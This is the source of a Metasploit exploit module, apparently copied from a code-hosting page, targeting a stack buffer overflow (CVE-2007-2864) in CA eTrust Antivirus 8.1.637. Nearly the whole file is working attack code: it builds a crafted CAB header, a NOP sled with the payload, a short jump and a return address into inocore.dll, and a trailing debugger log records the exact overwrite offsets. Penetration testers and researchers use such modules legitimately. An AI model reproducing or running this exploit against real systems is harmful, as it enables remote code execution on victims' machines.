metasploit-framework/modules/exploits/windows/fileformat/ca_cab.rb

94 lines
2.8 KiB
Ruby

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'CA Antivirus Engine CAB Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in CA eTrust Antivirus 8.1.637.
By creating a specially crafted CAB file, an an attacker may be able
to execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' => [ 'MC' ],
'References' =>
[
[ 'CVE', '2007-2864' ],
[ 'OSVDB', '35245'],
[ 'BID', '24330' ],
[ 'ZDI', '07-035' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
'DisablePayloadHandler' => 'true',
},
'Payload' =>
{
'Space' => 250,
'BadChars' => "\x00",
'StackAdjustment' => -3500,
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows 2000 All / Windows XP SP0/SP1 (CA eTrust Antivirus 8.1.637)', { 'Ret' => 0x6dc886ea } ], # inocore.dll
],
'Privileged' => false,
'DisclosureDate' => 'Jun 05 2007',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ false, 'The file name.', 'msf.cab']),
], self.class)
end
def exploit
cab_header = "\x4D\x53\x43\x46\x00\x00\x00\x00\xC4\x0D\x00\x00\x00\x00\x00\x00"
cab_header << "\x2C\x00\x00\x00\x00\x00\x00\x00\x03\x01\x01\x00\x01\x00\x00\x00"
cab_header << "\xD2\x04\x00\x00\x44\x00\x00\x00\x01\x00\x00\x00\x78\x0D\x00\x00"
cab_header << "\x00\x00\x00\x00\x00\x00\xE2\x36\x53\xAD\x20\x00"
sploit = make_nops(268 - payload.encoded.length) + payload.encoded
sploit << Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target.ret].pack('V')
sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-260").encode_string
sploit << make_nops(800)
cab = cab_header + sploit
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(cab)
end
end
=begin
0:001> !exchain
00cdf1b0: VetE!InoAvpackDat+ca058 (600d19c8)
00cdf2fc: 316a4130
Invalid exception stack at 6a413969
0:001> !pattern_offset 1024 0x6a413969
[Byakugan] Control of 0x6a413969 at offset 268.
0:001> !pattern_offset 1024 0x316a4130
[Byakugan] Control of 0x316a4130 at offset 272.
0:001> u 0x6dc886ea L3
INOCORE!QSIInitQSysInfo+0x278a:
6dc886ea 5f pop edi
6dc886eb 5e pop esi
6dc886ec c3 ret
=end